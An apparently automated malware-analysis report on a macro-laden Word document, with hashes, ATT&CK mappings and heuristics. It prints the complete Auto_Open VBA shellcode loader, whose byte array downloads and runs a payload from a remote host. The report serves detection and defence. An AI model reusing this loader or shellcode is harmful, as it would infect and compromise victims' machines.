Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 de59598559cf6ab9…

MALICIOUS

Office (OOXML) / .DOC

18.3 KB Created: 2023-01-29 12:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2023-01-29
MD5: 7e8f84db4f1db9990244e7bbd84ceb26 SHA-1: af17e0d97428feac821eea19cf0bf6314231d9d7 SHA-256: de59598559cf6ab9f6287b9ce3869f4b40e175eb6f67eaf1cd42f615601bb6b5
90 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This OOXML document contains a VBA project with an Auto_Open macro. The macro utilizes functions like VirtualAlloc, RtlMoveMemory, and CreateThread, indicating it's designed to allocate memory, copy shellcode into it, and then execute it. This pattern strongly suggests the document is a loader for a second-stage payload.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA native-memory callback shellcode loader critical OLE_VBA_NATIVE_MEMORY_CALLBACK_LOADER
    VBA auto-exec macro declares or calls native memory allocation, process-memory write/copy, and callback/timer execution APIs. This is the in-memory shellcode loader pattern: allocate writable memory, copy decoded payload bytes into it, then transfer control through a callback such as CreateTimerQueueTimer. Benign document automation does not combine these primitives.
    Matched line in script
        Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" Alias "ABAlias" (ByVal Kpre As Long, ByVal Dtk As Long, ByVal Bobo As Long, ByVal Tmlkh As Long) As LongPtr
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3505 bytes
SHA-256: 55c756aa9258841c4fccd45e0671b700b36992e3dff10befc96572e119cd245f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then

    Private Declare PtrSafe Function CreateThread Lib "kernel32" Alias "CTAlias" (ByVal Mgearcmsc As Long, ByVal Mprdp As Long, ByVal Qkgvq As LongPtr, Nsxihqg As Long, ByVal Axwyffd As Long, Iib As Long) As LongPtr

    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" Alias "ABAlias" (ByVal Kpre As Long, ByVal Dtk As Long, ByVal Bobo As Long, ByVal Tmlkh As Long) As LongPtr

    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" Alias "CFAlias" (ByVal Kpeoehwn As LongPtr, ByRef Xltxmbkov As Any, ByVal Esh As Long) As LongPtr

#Else

    Private Declare Function CreateThread Lib "kernel32" Alias "CTAlias" (ByVal Mgearcmsc As Long, ByVal Mprdp As Long, ByVal Qkgvq As Long, Nsxihqg As Long, ByVal Axwyffd As Long, Iib As Long) As Long

    Private Declare Function VirtualAlloc Lib "kernel32" Alias "ABAlias" (ByVal Kpre As Long, ByVal Dtk As Long, ByVal Bobo As Long, ByVal Tmlkh As Long) As Long

    Private Declare Function RtlMoveMemory Lib "kernel32" Alias "CFAlias" (ByVal Kpeoehwn As Long, ByRef Xltxmbkov As Any, ByVal Esh As Long) As Long

#End If



Sub Auto_Open()

    Dim Iotrdu As Long, Efl As Variant, Pdmmfpv As Long

#If VBA7 Then

    Dim Hnoxarvo As LongPtr, Etpwbqj As LongPtr

#Else

    Dim Hnoxarvo As Long, Etpwbqj As Long

#End If

    Efl = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20,139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207,13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192,116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _

214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125,36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18,235,134,93,104,110,101,116,0,104,119,105,110,105,137,230,84,104,76,119,38, _

7,255,213,49,255,87,87,87,87,86,104,58,86,121,167,255,213,235,96,91,49,201,81,81,106,3,81,81,106,80,83,80,104,87,137,159,198,255,213,235,79,89,49,210,82,104,0,50,96,132,82,82,82,81,82,80,104,235,85,46,59,255,213,137,198,106,16,91,104,128,51,0,0,137,224,106,4,80,106,31, _

86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45,6,24,123,255,213,133,192,117,20,75,15,132,113,0,0,0,235,209,233,137,0,0,0,232,172,255,255,255,0,235,107,49,192,95,80,106,2,106,2,80,106,2,106,2,87,104,218,246,218,79,255,213,147,49,192,102,184,4,3,41,196,84,141, _

76,36,8,49,192,180,3,80,81,86,104,18,150,137,226,255,213,133,192,116,45,88,133,192,116,22,106,0,84,80,141,68,36,12,80,83,104,45,87,174,91,255,213,131,236,4,235,206,83,104,198,150,135,82,255,213,106,0,87,104,49,139,111,135,255,213,106,0,104,240,181,162,86,255,213,232,144,255,255,255, _

99,58,116,109,112,112,97,121,108,111,97,100,46,101,120,101,0,232,13,255,255,255,119,119,119,46,119,104,101,114,101,118,101,114,46,99,111,109,0)



    Hnoxarvo = ABAlias(0, UBound(Efl), &H1000, &H40)

    For Pdmmfpv = LBound(Efl) To UBound(Efl)

        Iotrdu = Efl(Pdmmfpv)

        Etpwbqj = CFAlias(Hnoxarvo + Pdmmfpv, Iotrdu, 1)

    Next Pdmmfpv

    Etpwbqj = CTAlias(0, 0, Hnoxarvo, 0, 0, 0)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 533eb3880e30a30b1208b7a2b91b5ebdfe328a762aab71b291d1a72198dcbf60